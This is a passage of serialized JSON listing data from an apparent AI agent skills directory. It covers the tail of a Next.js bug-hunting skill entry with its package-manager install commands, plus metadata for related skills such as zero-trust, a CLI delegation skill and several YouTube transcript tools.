(CVE-2024-34351 \u002F GHSA-fr5h-rqp8-mj6g), Next.js advisories","2026-09-20","elementalsouls\u002FClaude-BugHunter","Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fhunt-nextjs","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":55,"prompt":65,"zipAvailable":66},[56,59,62],{"tool":57,"command":58},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-nextjs",{"tool":60,"command":61},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-nextjs",{"tool":63,"command":64},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-nextjs","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-nextjs\u002FSKILL.md",true,[],[69,94,118,142,170,194],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":80,"publishedAt":38},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[75],{"categoryNo":76,"categoryName":77,"taxonomyType":78,"taxonomyTypeDesc":79},"01JBSEEDCAT000000000000011","运维与部署","SCENARIO","使用场景",[81,82,83,84,85,86,71,87,88,89,90,32,31,21,91,92,27,26,23,93],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","active","critical","implementing",{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":38},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[101,102,103,104,105,106,107,108,109,110,111,112,113,32,114,31,115,116,92,117],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":38},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[125,126,127,128,129,130,131,35,132,133,134,135,136,31,21,137,138,139,140,141],"transcript","youtube transcript","youtube","safe","github","codex","research","https","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":159,"publishedAt":38},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[148,151,154],{"categoryNo":149,"categoryName":150,"taxonomyType":78,"taxonomyTypeDesc":79},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":152,"categoryName":153,"taxonomyType":78,"taxonomyTypeDesc":79},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":155,"categoryName":156,"taxonomyType":157,"taxonomyTypeDesc":158},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[125,126,127,160,128,161,129,130,35,162,163,164,165,134,166,31,21,167,168,169],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":171,"name":172,"nameZh":6,"description":173,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":174,"categories":175,"keywords":180,"publishedAt":38},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[176,179],{"categoryNo":177,"categoryName":178,"taxonomyType":78,"taxonomyTypeDesc":79},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":152,"categoryName":153,"taxonomyType":78,"taxonomyTypeDesc":79},[127,181,182,105,128,183,184,185,186,35,164,187,188,189,190,21,191,137,192,193],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":198,"categories":199,"keywords":201,"publishedAt":38},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[200],{"categoryNo":149,"categoryName":150,"taxonomyType":78,"taxonomyTypeDesc":79},[202,127,203,204,128,161,162,205,206,163,164,165,134,207,166,31,21,167,208,140],"youtube full","full","google","server","dlp","credits","automatic"]